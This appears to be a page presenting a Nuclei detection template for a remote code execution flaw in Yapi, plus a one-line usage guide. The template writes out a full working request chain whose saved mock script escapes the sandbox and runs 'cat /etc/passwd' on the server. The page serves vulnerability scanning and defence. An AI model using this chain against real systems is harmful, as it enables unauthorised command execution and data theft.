Yapi - Remote Code Execution

ID: yapi-rce

Severity: critical

Author: pikpikcu

Tags: yapi,rce,intrusive

Description

Yapi allows remote unauthenticated attackers to cause the product to execute arbitrary code.

YAML Source

id: yapi-rce

info:
  name: Yapi - Remote Code Execution
  author: pikpikcu
  severity: critical
  description: Yapi allows remote unauthenticated attackers to cause the product to execute arbitrary code.
  reference:
    - https://www.secpulse.com/archives/162502.html
    - https://gist.github.com/pikpikcu/0145fb71203c8a3ad5c67b8aab47165b
    - https://twitter.com/sec715/status/1415484190561161216
    - https://github.com/YMFE/yapi
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cwe-id: CWE-77
  metadata:
    max-request: 7
  tags: yapi,rce,intrusive

http:
  - raw:
      - | # REQUEST 1
        POST /api/user/reg HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json;charset=UTF-8

        {"email":"{{randstr}}@interact.sh","password":"{{randstr}}","username":"{{randstr}}"}
      - | # REQUEST 2
        GET /api/group/list HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json, text/plain, */*
      - | # REQUEST 3
        POST /api/project/add HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json;charset=UTF-8

        {"name":"{{randstr}}","basepath":"","group_id":"{{group_id}}","icon":"code-o","color":"cyan","project_type":"private"}
      - | # REQUEST 4
        GET /api/project/get?id={{project_id}} HTTP/1.1
        Host: {{Hostname}}
      - | # REQUEST 5
        POST /api/interface/add HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json;charset=UTF-8

        {"method":"GET","catid":"{{project_id}}","title":"{{randstr_1}}","path":"/{{randstr_1}}","project_id":{{project_id}}}
      - | # REQUEST 6
        POST /api/plugin/advmock/save HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json;charset=UTF-8

        {"project_id":"{{project_id}}","interface_id":"{{interface_id}}","mock_script":"const sandbox = this\r\nconst ObjectConstructor = this.constructor\r\nconst FunctionConstructor = ObjectConstructor.constructor\r\nconst myfun = FunctionConstructor('return process')\r\nconst process = myfun()\r\nmockJson = process.mainModule.require(\"child_process\").execSync(\"cat /etc/passwd\").toString()","enable":true}
      - | # REQUEST 7
        GET /mock/{{project_id}}/{{randstr_1}} HTTP/1.1
        Host: {{Hostname}}

    extractors:
      - type: regex
        name: group_id
        group: 1
        internal: true
        part: body
        regex:
          - '"_id":([0-9]+),"group_name"'

      - type: regex
        name: interface_id
        group: 1
        internal: true
        part: body
        regex:
          - '"req_body_form":\[\],"_id":([0-9]+)'

      - type: regex
        name: project_id
        group: 1
        internal: true
        part: body
        regex:
          - '"tag":\[\],"_id":([0-9]+)'

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"
        part: body

      - type: status
        status:
          - 200
# digest: 490a00463044022010bcd0c05e853840d5fd723fc869fb6664bb69169ab3ebe2519f8c0a1d85d812022009148d23394068deb2486e9d878b300e5491d33203706ed9035cd529f730ecb5:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/vulnerabilities/other/yapi-rce.yaml"

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